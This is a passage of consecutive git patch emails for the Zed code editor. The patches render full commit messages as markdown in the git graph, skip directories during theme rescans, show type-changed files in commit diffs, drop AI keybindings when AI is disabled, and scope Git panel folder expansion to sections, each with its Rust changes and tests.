chops or familiarity with Zed to propose bigger UI changes here.

- Default-collapsed message with expand button, a la `commit_view`. The
use-case of this panel is to get the gist of a commit while moving
somewhat quickly through the graph. One might argue that the subject
line alone is enough for that, but often it isn't and the thought of
having to constantly expand commit messages rather than making the
message immediately visible with scroll felt like it would produce a
repetitious experience.

## Testing

- Adds two unit tests to verify that selection works and is idempotent

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase

Video demonstrating the functionality:

https://github.com/user-attachments/assets/b910aaa3-2db2-4da8-904b-21b270677ca9

---

Release Notes:

- Show full commit message as markdown in details panel of the git graph
---
 crates/git_ui/src/git_graph.rs | 316 ++++++++++++++++++++++++++++++++-
 1 file changed, 307 insertions(+), 9 deletions(-)

diff --git a/crates/git_ui/src/git_graph.rs b/crates/git_ui/src/git_graph.rs
index 384474e21056ae..9366039969e512 100644
--- a/crates/git_ui/src/git_graph.rs
+++ b/crates/git_ui/src/git_graph.rs
@@ -19,12 +19,13 @@ use git::{
 use gpui::{
     Action, Anchor, AnyElement, App, Bounds, ClickEvent, ClipboardItem, DefiniteLength,
     DismissEvent, DragMoveEvent, ElementId, Empty, Entity, EventEmitter, FocusHandle, Focusable,
-    Hsla, MouseButton, MouseDownEvent, PathBuilder, Pixels, Point, ScrollStrategy,
+    Hsla, MouseButton, MouseDownEvent, PathBuilder, Pixels, Point, ScrollHandle, ScrollStrategy,
     ScrollWheelEvent, SharedString, Subscription, Task, TextStyleRefinement,
     UniformListScrollHandle, WeakEntity, Window, actions, anchored, deferred, point, prelude::*,
     px, uniform_list,
 };
 use language::line_diff;
+use markdown::{Markdown, MarkdownElement};
 use menu::{Cancel, SelectFirst, SelectLast, SelectNext, SelectPrevious};
 use picker::{Picker, PickerDelegate};
 use project::{
@@ -57,6 +58,7 @@ use ui::{
     prelude::*, render_redistributable_columns_resize_handles, render_table_header,
     table_row::TableRow,
 };
+use util::{ResultExt, debug_panic};
 use workspace::{
     ModalView, Workspace,
     item::{Item, ItemEvent, TabTooltipContent},
@@ -1322,6 +1324,12 @@ struct GitGraphContextMenu {
     _subscription: Subscription,
 }
 
+struct DetailPanelCommitMessage {
+    sha: Oid,
+    message: Entity<Markdown>,
+    scroll_handle: ScrollHandle,
+}
+
 pub struct GitGraph {
     focus_handle: FocusHandle,
     search_state: SearchState,
@@ -1339,6 +1347,8 @@ pub struct GitGraph {
     selected_commit_diff: Option<CommitDiff>,
     selected_commit_diff_stats: Option<(usize, usize)>,
     _commit_diff_task: Option<Task<()>>,
+    selected_commit_message: Option<DetailPanelCommitMessage>,
+    _selected_commit_message_task: Option<Task<()>>,
     commit_details_split_state: Entity<SplitState>,
     repo_id: RepositoryId,
     changed_files_scroll_handle: UniformListScrollHandle,
@@ -1559,6 +1569,8 @@ impl GitGraph {
             graph_canvas_bounds: Rc::new(Cell::new(None)),
             selected_commit_diff: None,
             selected_commit_diff_stats: None,
+            selected_commit_message: None,
+            _selected_commit_message_task: None,
             log_source,
             log_order,
             commit_details_split_state: cx.new(|_cx| SplitState::new()),
@@ -2179,13 +2191,16 @@ impl GitGraph {
             return;
         };
 
-        let sha = commit.data.sha.to_string();
-
         let Some(repository) = self.get_repository(cx) else {
             return;
         };
 
-        let diff_receiver = repository.update(cx, |repo, _| repo.load_commit_diff(sha));
+        let commit_message_handle = commit.data.sha;
+        let diff_handle = commit.data.sha.to_string();
+
+        self.load_selected_commit_message(cx, &commit_message_handle, &repository);
+
+        let diff_receiver = repository.update(cx, |repo, _| repo.load_commit_diff(diff_handle));
 
         self._commit_diff_task = Some(cx.spawn(async move |this, cx| {
             if let Ok(Ok(diff)) = diff_receiver.await {
@@ -2203,6 +2218,70 @@ impl GitGraph {
         cx.notify();
     }
 
+    fn load_selected_commit_message(
+        &mut self,
+        cx: &mut Context<'_, Self>,
+        sha: &Oid,
+        repository: &Entity<Repository>,
+    ) {
+        if self
+            .selected_commit_message
+            .as_ref()
+            .is_some_and(|old| old.sha == *sha)
+        {
+            return;
+        }
+
+        self._selected_commit_message_task = None;
+        match repository.update(cx, |repo, cx| {
+            repo.fetch_commit_data(*sha, true, cx).clone()
+        }) {
+            CommitDataState::Loaded(commit_data) => {
+                self.set_selected_commit_message(cx, commit_data.sha, commit_data.message.clone());
+            }
+            CommitDataState::Loading(Some(receiver)) => {
+                self._selected_commit_message_task = Some(cx.spawn(async move |this, cx| {
+                    if let Ok(commit_data) = receiver.await {
+                        this.update(cx, |this, cx| {
+                            this.set_selected_commit_message(
+                                cx,
+                                commit_data.sha,
+                                commit_data.message.clone(),
+                            );
+                        })
+                        .log_err();
+                    }
+                }))
+            }
+            _ => {
+                debug_panic!(
+                    "Fetched commit data asynchronously, but was not given a listener or cached commit data."
+                );
+            }
+        };
+    }
+
+    fn set_selected_commit_message(
+        &mut self,
+        cx: &mut Context<'_, GitGraph>,
+        sha: Oid,
+        message: SharedString,
+    ) {
+        let languages = self
+            .workspace
+            .read_with(cx, |workspace, cx| {
+                workspace.project().read(cx).languages().clone()
+            })
+            .log_err();
+        self.selected_commit_message = Some(DetailPanelCommitMessage {
+            sha,
+            message: cx.new(|cx| Markdown::new(message, languages, None, cx)),
+            scroll_handle: ScrollHandle::new(),
+        });
+        self._selected_commit_message_task = None;
+        cx.notify();
+    }
+
     fn select_previous_match(&mut self, cx: &mut Context<Self>) {
         if self.search_state.matches.is_empty() {
             return;
@@ -2815,15 +2894,13 @@ impl GitGraph {
             .copied()
             .unwrap_or_else(|| accent_colors.0.first().copied().unwrap_or_default());
 
-        // todo(git graph): We should use the full commit message here
-        let (author_name, author_email, commit_timestamp, commit_message) = match &data {
+        let (author_name, author_email, commit_timestamp) = match &data {
             CommitDataState::Loaded(data) => (
                 data.author_name.clone(),
                 data.author_email.clone(),
                 Some(data.commit_timestamp),
-                data.subject.clone(),
             ),
-            CommitDataState::Loading(_) => ("Loading…".into(), "".into(), None, "Loading…".into()),
+            CommitDataState::Loading(_) => ("Loading…".into(), "".into(), None),
         };
 
         let date_string = commit_timestamp
@@ -2917,6 +2994,8 @@ impl GitGraph {
                                     this.selected_entry_idx = None;
                                     this.selected_commit_diff = None;
                                     this.selected_commit_diff_stats = None;
+                                    this.selected_commit_message = None;
+                                    this._selected_commit_message_task = None;
                                     this.changed_files_expanded_dirs.clear();
                                     this._commit_diff_task = None;
                                     cx.notify();
@@ -3091,7 +3170,7 @@ impl GitGraph {
                     ),
             )
             .child(Divider::horizontal())
-            .child(div().p_2().child(Label::new(commit_message)))
+            .child(self.render_commit_message(window, cx))
             .child(Divider::horizontal())
             .child(
                 v_flex()
@@ -3723,6 +3802,53 @@ impl GitGraph {
             )
             .into_any_element()
     }
+
+    fn render_commit_message(
+        &self,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) -> impl IntoElement {
+        let Some(DetailPanelCommitMessage {
+            message,
+            scroll_handle,
+            ..
+        }) = self.selected_commit_message.as_ref()
+        else {
+            return Empty.into_any_element();
+        };
+
+        let message_style = editor::hover_markdown_style(window, cx);
+        let rem_size = window.rem_size();
+        let line_height = message_style
+            .base_text_style
+            .line_height_in_pixels(rem_size);
+
+        div()
+            // Using grid over flexbox because the structure of this side
+            // panel prvents taffy from calculating a concrete width correctly,
+            // which causes problems with text reflow when using flexbox.
+            // grid, on the other hand, doesn't appear to give taffy the same
+            // problems.
+            .grid()
+            .py_2()
+            .pl_2()
+            .w_full()
+            .gap_1()
+            .grid_cols(1)
+            // Value of 12 taken from ./commit_view.rs:725
+            .max_h(line_height * 12.)
+            .child(
+                div()
+                    .id("commit-message")
+                    .text_sm()
+                    .size_full()
+                    .overflow_y_scroll()
+                    .track_scroll(scroll_handle)
+                    .child(MarkdownElement::new(message.clone(), message_style))
+                    .vertical_scrollbar_for(scroll_handle, window, cx),
+            )
+            .into_any_element()
+    }
 }
 
 impl Render for GitGraph {
@@ -7032,4 +7158,176 @@ mod tests {
         );
         assert_eq!(GitGraph::ref_name_from_decoration("HEAD"), None);
     }
+
+    #[gpui::test]
+    async fn test_commit_message_rendered_as_markdown(cx: &mut TestAppContext) {
+        init_test(cx);
+
+        let fs = FakeFs::new(cx.executor());
+        fs.insert_tree(
+            Path::new("/project"),
+            json!({ ".git": {}, "file.txt": "content" }),
+        )
+        .await;
+
+        let commit_sha = Oid::from_bytes(&[1; 20]).unwrap();
+        let commits = vec![Arc::new(InitialGraphCommitData {
+            sha: commit_sha,
+            parents: smallvec![],
+            ref_names: vec!["HEAD -> main".into()],
+        })];
+        fs.set_graph_commits(Path::new("/project/.git"), commits);
+        fs.set_commit_data(
+            Path::new("/project/.git"),
+            [(
+                CommitData {
+                    sha: commit_sha,
+                    parents: smallvec![],
+                    author_name: "Author".into(),
+                    author_email: "author@example.com".into(),
+                    commit_timestamp: 1_700_000_000,
+                    subject: "Fix crash".into(),
+                    message: "Fix crash\n\nThis fixes a crash that occurred when...".into(),
+                },
+                false,
+            )],
+        );
+
+        let project = Project::test(fs.clone(), [Path::new("/project")], cx).await;
+        cx.run_until_parked();
+
+        let repository = project.read_with(cx, |project, cx| {
+            project
+                .active_repository(cx)
+                .expect("should have a repository")
+        });
+
+        let (multi_workspace, cx) = cx.add_window_view(|window, cx| {
+            workspace::MultiWorkspace::test_new(project.clone(), window, cx)
+        });
+        let workspace_weak =
+            multi_workspace.read_with(&*cx, |multi, _| multi.workspace().downgrade());
+
+        let git_graph = cx.new_window_entity(|window, cx| {
+            GitGraph::new(
+                repository.read(cx).id,
+                project.read(cx).git_store().clone(),
+                workspace_weak,
+                None,
+                window,
+                cx,
+            )
+        });
+        cx.run_until_parked();
+
+        // Select the commit to trigger loading the commit message
+        git_graph.update_in(cx, |graph, window, cx| {
+            graph.select_first(&menu::SelectFirst, window, cx);
+        });
+        cx.run_until_parked();
+
+        // Verify the commit message was loaded as markdown
+        git_graph.read_with(&*cx, |graph, app| {
+            let message = graph
+                .selected_commit_message
+                .as_ref()
+                .expect("selected_commit_message should be Some");
+            assert_eq!(message.sha, commit_sha);
+            let source = message.message.read_with(app, |m, _| m.source().to_owned());
+            assert!(source.contains("Fix crash"));
+            assert!(source.contains("This fixes a crash"));
+        });
+    }
+
+    #[gpui::test]
+    async fn test_commit_message_not_reloaded_for_same_sha(cx: &mut TestAppContext) {
+        init_test(cx);
+
+        let fs = FakeFs::new(cx.executor());
+        fs.insert_tree(
+            Path::new("/project"),
+            json!({ ".git": {}, "file.txt": "content" }),
+        )
+        .await;
+
+        let commit_sha = Oid::from_bytes(&[1; 20]).unwrap();
+        let commits = vec![Arc::new(InitialGraphCommitData {
+            sha: commit_sha,
+            parents: smallvec![],
+            ref_names: vec!["HEAD -> main".into()],
+        })];
+        fs.set_graph_commits(Path::new("/project/.git"), commits);
+        fs.set_commit_data(
+            Path::new("/project/.git"),
+            [(
+                CommitData {
+                    sha: commit_sha,
+                    parents: smallvec![],
+                    author_name: "Author".into(),
+                    author_email: "author@example.com".into(),
+                    commit_timestamp: 1_700_000_000,
+                    subject: "Fix crash".into(),
+                    message: "Fix crash\n\nBody text.".into(),
+                },
+                false,
+            )],
+        );
+
+        let project = Project::test(fs.clone(), [Path::new("/project")], cx).await;
+        cx.run_until_parked();
+
+        let repository = project.read_with(cx, |project, cx| {
+            project
+                .active_repository(cx)
+                .expect("should have a repository")
+        });
+
+        let (multi_workspace, cx) = cx.add_window_view(|window, cx| {
+            workspace::MultiWorkspace::test_new(project.clone(), window, cx)
+        });
+        let workspace_weak =
+            multi_workspace.read_with(&*cx, |multi, _| multi.workspace().downgrade());
+
+        let git_graph = cx.new_window_entity(|window, cx| {
+            GitGraph::new(
+                repository.read(cx).id,
+                project.read(cx).git_store().clone(),
+                workspace_weak,
+                None,
+                window,
+                cx,
+            )
+        });
+        cx.run_until_parked();
+
+        // Select the commit to load the message
+        git_graph.update_in(cx, |graph, window, cx| {
+            graph.select_first(&menu::SelectFirst, window, cx);
+        });
+        cx.run_until_parked();
+
+        // Verify message is loaded
+        let message_entity_id = git_graph.read_with(&*cx, |graph, _| {
+            graph
+                .selected_commit_message
+                .as_ref()
+                .map(|m| m.message.entity_id())
+        });
+        assert!(message_entity_id.is_some());
+
+        // Select the same commit again to trigger the early-return logic
+        git_graph.update_in(cx, |graph, window, cx| {
+            graph.select_first(&menu::SelectFirst, window, cx);
+        });
+        cx.run_until_parked();
+
+        // Verify the message entity is the same (not replaced)
+        git_graph.read_with(&*cx, |graph, _| {
+            let new_entity_id = graph
+                .selected_commit_message
+                .as_ref()
+                .map(|m| m.message.entity_id());
+            assert_eq!(message_entity_id, new_entity_id);
+        });
+    }
 }

From b4d9194fce5da4d23a558684adc045c8dcf9a620 Mon Sep 17 00:00:00 2001
From: Remco Smits <djsmits12@gmail.com>
Date: Mon, 6 Jul 2026 05:12:43 +0200
Subject: [PATCH 265/772] themes: Don't try to call `fs.load_bytes` on a
 directory path on rescans (#60399)

# Objective

Before this change, we watched the themes directory itself. During
rescans, this could generate events for the directory, causing Zed to
attempt to load `event.path` as a file via
`fs.load_bytes(&event.path).await.log_err()`. This happened because
`fs.metadata(&event.path).await.ok().flatten().is_some()` also returns
true for directories.

Since load_bytes will always fail for a directory, we can avoid the
unnecessary call by skipping it whenever `event.path` refers to a
directory.

The rescan happens when Zed lost sync with the filesystem. That will
produce the following logs:

```
2026-07-01T16:03:35+02:00 WARN  [fs::fs_watcher] filesystem watcher lost sync for many files, not logging more
2026-07-01T16:03:35+02:00 ERROR [crates/zed/src/main.rs:1891] Is a directory (os error 21)
```

## Solution

The solution is that we just can check if the `event.path` is a
directory if so we can skip the
`fs.load_bytes(&event.path).await.log_err()` part described aboth.

## Testing

All tests should still pass and there should be no impact since this
only happens on rescans when the system is under pressure with alot of
fs events.

**Note**: No regression test was added since there's nothing to test
here.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- N/A
---
 crates/zed/src/main.rs | 8 +++++++-
 1 file changed, 7 insertions(+), 1 deletion(-)

diff --git a/crates/zed/src/main.rs b/crates/zed/src/main.rs
index 725db34126c3db..1dcac5480f5d1f 100644
--- a/crates/zed/src/main.rs
+++ b/crates/zed/src/main.rs
@@ -1886,7 +1886,13 @@ fn watch_themes(fs: Arc<dyn fs::Fs>, cx: &mut App) {
 
         while let Some(paths) = events.next().await {
             for event in paths {
-                if fs.metadata(&event.path).await.ok().flatten().is_some() {
+                if fs
+                    .metadata(&event.path)
+                    .await
+                    .ok()
+                    .flatten()
+                    .is_some_and(|m| !m.is_dir)
+                {
                     let theme_registry = cx.update(|cx| ThemeRegistry::global(cx));
                     if let Some(bytes) = fs.load_bytes(&event.path).await.log_err()
                         && load_user_theme(&theme_registry, &bytes).log_err().is_some()

From 04de6dab7c890d815e316f2f9554f9eeeaf8ebb2 Mon Sep 17 00:00:00 2001
From: Eagl61 <17625015+Eagl61@users.noreply.github.com>
Date: Mon, 6 Jul 2026 05:15:43 +0200
Subject: [PATCH 266/772] Show type-changed files in commit diffs (#60422)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

# Objective

Zed ignores files marked by Git as type-changed (T), causing commits
containing only these changes to show 0 Changed Files.

For example, commit d7cc949e61351a6028f933abbaea39f67af9dfb2 changes
crates/eval_utils/LICENSE-GPL from a regular file to a symlink, but Zed
displays no changes.

  ## Solution

Handle TypeChanged files like modified files by loading both their old
and new contents.

  ## Testing

  - Added parser coverage for the T status.
  - Added a repository test for a regular-file-to-symlink change.
  - Ran cargo test -p git.
  - Ran ./script/clippy -p git.
  - Manually verified the example commit on macOS.

  ## Self-Review Checklist:
  - [x] I've reviewed my own diff for quality, security, and reliability
  - [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and [icon](https://github.com/zed-
  industries/zed/blob/main/crates/icons/README.md) guidelines)
  - [x] Tests cover the new/changed behavior
  - [x] Performance impact has been considered and is acceptable

  ## Showcase

Before:
<img width="200" alt="image"
src="https://github.com/user-attachments/assets/277c5938-5c2c-47b7-902d-9061a14c062a"
/>

After:
<img width="200" alt="image"
src="https://github.com/user-attachments/assets/f99d0005-0712-4843-814e-d73b11f64782"
/>

  ———

  Release Notes:

- Fixed type-changed files not appearing in Git Graph and commit views.
---
 crates/git/src/commit.rs     |  3 ++
 crates/git/src/repository.rs | 59 ++++++++++++++++++++++++++++++++++--
 2 files changed, 60 insertions(+), 2 deletions(-)

diff --git a/crates/git/src/commit.rs b/crates/git/src/commit.rs
index 50b62fa506bc31..326c741ad195cd 100644
--- a/crates/git/src/commit.rs
+++ b/crates/git/src/commit.rs
@@ -109,6 +109,7 @@ pub fn parse_git_diff_name_status(content: &str) -> impl Iterator<Item = (&str,
             let path = parts.next()?;
             let status = match status_str {
                 "M" => StatusCode::Modified,
+                "T" => StatusCode::TypeChanged,
                 "A" => StatusCode::Added,
                 "D" => StatusCode::Deleted,
                 _ => continue,
@@ -127,6 +128,7 @@ mod tests {
     fn test_parse_git_diff_name_status() {
         let input = concat!(
             "M\x00Cargo.lock\x00",
+            "T\x00LICENSE-GPL\x00",
             "M\x00crates/project/Cargo.toml\x00",
             "M\x00crates/project/src/buffer_store.rs\x00",
             "D\x00crates/project/src/git.rs\x00",
@@ -142,6 +144,7 @@ mod tests {
             output,
             &[
                 ("Cargo.lock", StatusCode::Modified),
+                ("LICENSE-GPL", StatusCode::TypeChanged),
                 ("crates/project/Cargo.toml", StatusCode::Modified),
                 ("crates/project/src/buffer_store.rs", StatusCode::Modified),
                 ("crates/project/src/git.rs", StatusCode::Deleted),
diff --git a/crates/git/src/repository.rs b/crates/git/src/repository.rs
index f09c13f54ab26c..2951a84b090c01 100644
--- a/crates/git/src/repository.rs
+++ b/crates/git/src/repository.rs
@@ -1445,7 +1445,7 @@ impl GitRepository for RealGitRepository {
                 };
 
                 match status_code {
-                    StatusCode::Modified => {
+                    StatusCode::Modified | StatusCode::TypeChanged => {
                         stdin.write_all(commit.as_bytes()).await?;
                         stdin.write_all(b":").await?;
                         stdin.write_all(path.as_bytes()).await?;
@@ -1491,7 +1491,7 @@ impl GitRepository for RealGitRepository {
                 };
 
                 match status_code {
-                    StatusCode::Modified => {
+                    StatusCode::Modified | StatusCode::TypeChanged => {
                         info_line.clear();
                         stdout.read_line(&mut info_line).await?;
                         let len = info_line.trim_end().parse().with_context(|| {
@@ -4031,6 +4031,61 @@ mod tests {
         );
     }
 
+    #[gpui::test]
+    async fn test_load_commit_with_type_changed_file(cx: &mut TestAppContext) {
+        disable_git_global_config();
+        cx.executor().allow_parking();
+
+        let repo_dir = tempfile::tempdir().expect("failed to create temporary repository");
+        git_init_repo(repo_dir.path());
+        fs::write(repo_dir.path().join("file.txt"), "regular contents\n")
+            .expect("failed to write regular file");
+        git_command(repo_dir.path(), ["add", "file.txt"]);
+        git_command(repo_dir.path(), ["commit", "-m", "initial"]);
+
+        let repository = RealGitRepository::new(
+            &repo_dir.path().join(".git"),
+            None,
+            Some("git".into()),
+            cx.executor(),
+        )
+        .expect("failed to open repository");
+        fs::write(repo_dir.path().join("file.txt"), "target")
+            .expect("failed to write symlink target");
+
+        let symlink_blob = repository
+            .git_binary()
+            .run(&["hash-object", "-w", "file.txt"])
+            .await
+            .expect("failed to write symlink blob");
+        git_command(
+            repo_dir.path(),
+            [
+                OsString::from("update-index"),
+                OsString::from("--cacheinfo"),
+                OsString::from("120000"),
+                OsString::from(symlink_blob),
+                OsString::from("file.txt"),
+            ],
+        );
+        git_command(repo_dir.path(), ["commit", "-m", "type change"]);
+
+        let commit_diff = repository
+            .load_commit("HEAD".to_string(), cx.to_async())
+            .await
+            .expect("failed to load type-changed commit");
+        assert_eq!(commit_diff.files.len(), 1);
+
+        let file = commit_diff
+            .files
+            .first()
+            .expect("type-changed file should be present");
+        assert_eq!(file.path.as_unix_str(), "file.txt");
+        assert_eq!(file.old_text.as_deref(), Some("regular contents\n"));
+        assert_eq!(file.new_text.as_deref(), Some("target"));
+        assert_eq!(file.status(), CommitFileStatus::Modified);
+    }
+
     #[gpui::test]
     async fn test_check_access(cx: &mut TestAppContext) {
         disable_git_global_config();

From 24c5b37e6e4952faf3145f10a97b3806aabfcb17 Mon Sep 17 00:00:00 2001
From: Anthony Gregis <anthony@gregis.dev>
Date: Mon, 6 Jul 2026 00:49:03 -0500
Subject: [PATCH 267/772] Filter AI keybindings when AI features are disabled
 (#56936)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

When `disable_ai` is set, bindings to AI-namespaced actions (assistant,
agent, inline_assistant, acp, edit_prediction, zeta) are now dropped at
keymap load time. Previously the bindings stayed active and their
handlers silently no-op'd, which shadowed lower-precedence editor
defaults — pressing ctrl-enter in an editor was captured by
`assistant::InlineAssist` and did nothing instead of falling through to
`editor::NewlineBelow`.

The filter applies to both default and user bindings, and a settings
observer reloads the keymap when `disable_ai` toggles at runtime.

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Closes #56692

Release Notes:

- Fixed AI keybindings remaining active and shadowing editor defaults
when AI features are disabled

---------

Co-authored-by: Chris Biscardi <chris@christopherbiscardi.com>
---
 crates/zed/src/zed.rs | 113 +++++++++++++++++++++++++++++++++++++++---
 1 file changed, 107 insertions(+), 6 deletions(-)

diff --git a/crates/zed/src/zed.rs b/crates/zed/src/zed.rs
index 22ba7cee3d410c..69fc69d5469115 100644
--- a/crates/zed/src/zed.rs
+++ b/crates/zed/src/zed.rs
@@ -2037,19 +2037,23 @@ pub fn handle_keymap_file_changes(
     let mut old_base_keymap = *BaseKeymap::get_global(cx);
     let mut old_vim_enabled = VimModeSetting::get_global(cx).0;
     let mut old_helix_enabled = vim_mode_setting::HelixModeSetting::get_global(cx).0;
+    let mut old_disable_ai = DisableAiSettings::get_global(cx).disable_ai;
 
     cx.observe_global::<SettingsStore>(move |cx| {
         let new_base_keymap = *BaseKeymap::get_global(cx);
         let new_vim_enabled = VimModeSetting::get_global(cx).0;
         let new_helix_enabled = vim_mode_setting::HelixModeSetting::get_global(cx).0;
+        let new_disable_ai = DisableAiSettings::get_global(cx).disable_ai;
 
         if new_base_keymap != old_base_keymap
             || new_vim_enabled != old_vim_enabled
             || new_helix_enabled != old_helix_enabled
+            || new_disable_ai != old_disable_ai
         {
             old_base_keymap = new_base_keymap;
             old_vim_enabled = new_vim_enabled;
             old_helix_enabled = new_helix_enabled;
+            old_disable_ai = new_disable_ai;
 
             base_keymap_tx.unbounded_send(()).unwrap();
         }
@@ -2218,7 +2222,7 @@ fn reload_keymaps(cx: &mut App, mut user_key_bindings: Vec<KeyBinding>) {
     for key_binding in &mut user_key_bindings {
         key_binding.set_meta(KeybindSource::User.meta());
     }
-    cx.bind_keys(user_key_bindings);
+    cx.bind_keys(filter_disabled_ai_bindings(user_key_bindings, cx));
 
     let menus = app_menus(cx);
     cx.set_menus(menus);
@@ -2238,18 +2242,23 @@ pub fn load_default_keymap(cx: &mut App) {
         return;
     }
 
-    cx.bind_keys(
+    cx.bind_keys(filter_disabled_ai_bindings(
         KeymapFile::load_asset(DEFAULT_KEYMAP_PATH, Some(KeybindSource::Default), cx).unwrap(),
-    );
+        cx,
+    ));
 
     if let Some(asset_path) = base_keymap.asset_path() {
-        cx.bind_keys(KeymapFile::load_asset(asset_path, Some(KeybindSource::Base), cx).unwrap());
+        cx.bind_keys(filter_disabled_ai_bindings(
+            KeymapFile::load_asset(asset_path, Some(KeybindSource::Base), cx).unwrap(),
+            cx,
+        ));
     }
 
     if VimModeSetting::get_global(cx).0 || vim_mode_setting::HelixModeSetting::get_global(cx).0 {
-        cx.bind_keys(
+        cx.bind_keys(filter_disabled_ai_bindings(
             KeymapFile::load_asset(VIM_KEYMAP_PATH, Some(KeybindSource::Vim), cx).unwrap(),
-        );
+            cx,
+        ));
     }
 
     cx.bind_keys(
@@ -2262,6 +2271,37 @@ pub fn load_default_keymap(cx: &mut App) {
     );
 }
 
+/// Namespaces of actions that are part of an AI feature. When the user opts out
+/// of AI via the `disable_ai` setting, bindings to these actions are dropped so
+/// that lower-precedence editor defaults (e.g. `editor::NewlineBelow` for
+/// `ctrl-enter`) can fire instead of being shadowed by an action whose handler
+/// silently no-ops.
+const AI_ACTION_NAMESPACES: &[&str] = &[
+    "acp::",
+    "agent::",
+    "assistant::",
+    "edit_prediction::",
+    "inline_assistant::",
+    "zeta::",
+];
+
+fn is_ai_keybinding(binding: &KeyBinding) -> bool {
+    let name = binding.action().name();
+    AI_ACTION_NAMESPACES
+        .iter()
+        .any(|namespace| name.starts_with(namespace))
+}
+
+fn filter_disabled_ai_bindings(bindings: Vec<KeyBinding>, cx: &App) -> Vec<KeyBinding> {
+    if !DisableAiSettings::get_global(cx).disable_ai {
+        return bindings;
+    }
+    bindings
+        .into_iter()
+        .filter(|binding| !is_ai_keybinding(binding))
+        .collect()
+}
+
 pub fn open_new_ssh_project_from_project(
     workspace: &mut Workspace,
     paths: Vec<PathBuf>,
@@ -5799,6 +5839,67 @@ mod tests {
         // If this panics, the test has failed
     }
 
+    #[gpui::test]
+    async fn test_disable_ai_filters_keybindings(cx: &mut gpui::TestAppContext) {
+        let _app_state = init_keymap_test(cx);
+
+        // With AI enabled, the default keymap should include the assistant
+        // bindings that intercept e.g. ctrl-enter in the editor.
+        cx.update(load_default_keymap);
+        cx.update(|cx| {
+            let keymap = cx.key_bindings();
+            let keymap = keymap.borrow();
+            let has_ai_binding = keymap.bindings().any(|binding| is_ai_keybinding(binding));
+            assert!(
+                has_ai_binding,
+                "expected AI-namespaced bindings in the default keymap before disabling AI"
+            );
+        });
+
+        cx.update(|cx| {
+            SettingsStore::update_global(cx, |settings_store, cx| {
+                settings_store.update_user_settings(cx, |settings| {
+                    settings.project.disable_ai = Some(SaturatingBool(true));
+                });
+            });
+        });
+
+        // The default keymap should drop every AI-namespaced binding so that
+        // lower-precedence editor defaults can run instead.
+        cx.update(|cx| {
+            cx.clear_key_bindings();
+            load_default_keymap(cx);
+        });
+        cx.update(|cx| {
+            let keymap = cx.key_bindings();
+            let keymap = keymap.borrow();
+            if let Some(binding) = keymap.bindings().find(|b| is_ai_keybinding(b)) {
+                panic!(
+                    "expected no AI-namespaced bindings after disabling AI, but found `{}`",
+                    binding.action().name()
+                );
+            }
+        });
+
+        // User-defined bindings to AI actions should also be filtered.
+        let user_binding = KeyBinding::new(
+            "ctrl-enter",
+            zed_actions::assistant::InlineAssist { prompt: None },
+            None,
+        );
+        cx.update(|cx| reload_keymaps(cx, vec![user_binding]));
+        cx.update(|cx| {
+            let keymap = cx.key_bindings();
+            let keymap = keymap.borrow();
+            if let Some(binding) = keymap.bindings().find(|b| is_ai_keybinding(b)) {
+                panic!(
+                    "expected user binding `{}` to be filtered when AI is disabled",
+                    binding.action().name()
+                );
+            }
+        });
+    }
+
     #[gpui::test]
     async fn test_prefer_focused_window(cx: &mut gpui::TestAppContext) {
         let app_state = init_test(cx);

From 62477092a20938d07de278555b1e99fd07b79b4f Mon Sep 17 00:00:00 2001
From: Sathwik Chirivelli <146921254+chirivelli@users.noreply.github.com>
Date: Mon, 6 Jul 2026 12:24:29 +0530
Subject: [PATCH 268/772] git_panel: Scope folder expansion state to sections
 (#60396)

# Objective

Prevent collapsing a folder in one Git panel section from also
collapsing the same folder path in other sections.

## Solution

Key directory expansion state by `TreeKey`, which includes both the
section and repository path, instead of by `RepoPath` alone. This also
keeps persisted tree state, stale-state cleanup, and selected-file
reveal behavior section-aware.

## Testing

- Added `test_tree_view_directory_expansion_is_scoped_to_section` to
cover the same folder path under Tracked and Untracked independently.
- `cargo fmt -p git_ui -- --check`
- `git diff --check`
- Attempted `cargo test -p git_ui
test_tree_view_directory_expansion_is_scoped_to_section --lib`, but
dependency compilation could not complete because the local disk ran out
of space. Reviewers can run that command to execute the focused
regression test.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Suggested .rules additions

- In the Git panel tree view, key per-row UI state by `TreeKey` rather
than `RepoPath`, because the same directory can appear in multiple
sections.

---

Release Notes:

- Fixed collapsing a folder in one Git panel section also collapsing it
in other sections.
---
 crates/git_ui/src/git_panel.rs | 81 +++++++++++++++++++++++++++-------
 1 file changed, 66 insertions(+), 15 deletions(-)

diff --git a/crates/git_ui/src/git_panel.rs b/crates/git_ui/src/git_panel.rs
index 6875ddea21886b..134aad4bc69e62 100644
